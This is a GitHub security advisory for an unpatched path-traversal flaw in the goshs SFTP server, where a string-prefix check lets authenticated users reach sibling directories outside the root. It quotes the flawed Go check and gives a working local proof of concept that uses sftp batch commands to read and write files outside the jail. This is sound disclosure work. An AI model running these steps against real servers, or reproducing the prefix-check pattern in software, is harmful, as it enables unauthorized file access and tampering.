GitHub Security Advisory: GHSA-5h6h-7rc9-3824
Package: github.com/patrickhener/goshs (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.1.4
Patched in: unpatched

Summary: SFTP root escape via prefix-based path validation in goshs

Details:
### Summary
goshs contains an SFTP root escape caused by prefix-based path validation. An authenticated SFTP user can read from and write to filesystem paths outside the configured SFTP root, which breaks the intended jail boundary and can expose or modify unrelated server files.

### Details
The SFTP subsystem routes requests through `sftpserver/sftpserver.go:99-126` into `DefaultHandler.GetHandler()` in `sftpserver/handler.go:90-112`, which forwards file operations into `readFile`, `writeFile`, `listFile`, and `cmdFile`. All of those sinks rely on `sanitizePath()` in `sftpserver/helper.go:47-59`. The vulnerable logic is:

```go
cleanPath = filepath.Clean("/" + clientPath)
if !strings.HasPrefix(cleanPath, sftpRoot) {
    return "", errors.New("access denied: outside of webroot")
}
```

This is a raw string-prefix comparison, not a directory-boundary check. Because of that, if the configured root is `/tmp/goshsroot`, then a sibling path such as `/tmp/goshsroot_evil/secret.txt` incorrectly passes validation since it starts with the same byte prefix.

That unsafe value then reaches filesystem sinks including:

- `os.Open` in `sftpserver/helper.go:80-94`
- `os.Create` in `sftpserver/helper.go:139-152`
- `os.Rename` in `sftpserver/helper.go:214-221`
- `os.RemoveAll` in `sftpserver/helper.go:231-232`
- `os.Mkdir` in `sftpserver/helper.go:242-243`

This means an authenticated SFTP user can escape the configured jail and read, create, upload, rename, or delete content outside the intended root directory.

### PoC
The configured SFTP root was `/tmp/goshsroot`, but the SFTP client was still able to access `/tmp/goshsroot_evil/secret.txt` and create `/tmp/goshsroot_owned/pwned.txt`, both of which are outside the configured root.

Manual verification commands used:

`Terminal 1`

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta4'
go build -o /tmp/goshs_beta4 ./

rm -rf /tmp/goshsroot /tmp/goshsroot_evil /tmp/goshsroot_owned /tmp/outside_sftp.txt /tmp/local_upload.txt /tmp/goshs_beta4_client_key
mkdir -p /tmp/goshsroot /tmp/goshsroot_evil
printf 'outside secret\n' > /tmp/goshsroot_evil/secret.txt
printf 'proof via sftp write\n' > /tmp/local_upload.txt
cp sftpserver/goshs_client_key /tmp/goshs_beta4_client_key
chmod 600 /tmp/goshs_beta4_client_key

/tmp/goshs_beta4 -sftp -d /tmp/goshsroot --sftp-port 2222 \
  --sftp-keyfile sftpserver/authorized_keys \
  --sftp-host-keyfile sftpserver/goshs_host_key_rsa
```

`Terminal 2`

```bash
printf 'ls /tmp/goshsroot_evil\nget /tmp/goshsroot_evil/secret.txt /tmp/outside_sftp.txt\nmkdir /tmp/goshsroot_owned\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

printf 'put /tmp/local_upload.txt /tmp/goshsroot_owned/pwned.txt\nbye\n' | \
sftp -i /tmp/goshs_beta4_client_key -P 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -b - foo@127.0.0.1

cat /tmp/outside_sftp.txt
cat /tmp/goshsroot_owned/pwned.txt
```